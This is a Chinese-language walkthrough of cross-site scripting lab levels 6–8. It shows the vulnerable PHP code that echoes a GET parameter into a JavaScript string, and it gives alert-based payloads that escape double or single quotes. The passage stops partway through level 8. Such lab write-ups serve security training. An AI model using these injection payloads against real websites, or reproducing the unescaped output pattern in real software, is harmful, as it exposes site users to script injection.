第六关 查看源码: <script> var $a= "<?php echo $_GET["name"]; ?>"; </script> 分析:
通过get的方式传入name变量,输入赋值给全局变量a,可以通过闭合双引号或者注释双引号来增加我们的js代码
payload: /xss/example6.php?name=";alert('http://www.likecs.com/xss');" /xss/example6.php?name=";alert('http://www.likecs.com/xss');//第七关 查看源码: <script> var $a= '<?php echo htmlentities($_GET["name"]); ?>'; </script> 分析:
和第八关相似htmlentities()会把字符转换为HTML实体,会将双引号进行编码,但不编码单引号,这里使用的是单引好所以可以继续包含和注释
payload: /xss/example7.php?name=';alert('http://www.likecs.com/xss');' /xss/example7.php?name=';alert('http://www.likecs.com/xss');//第八关 查看源码: <?php require_once '../header.php'; if (isset($_POST["name"])) { echo "HELLO ".htmlentities($_POST["name"]); } ?> <form action="<?php echo $_SERVER['PHP_SELF']; ?>" method="POST"> Your name:<input type="text" /> <input type="submit"/> 分析:
name变量通过form表单以post方式传入,然后通过htmlentities函数实体化后输出来,并未找到破解的方法。然后观察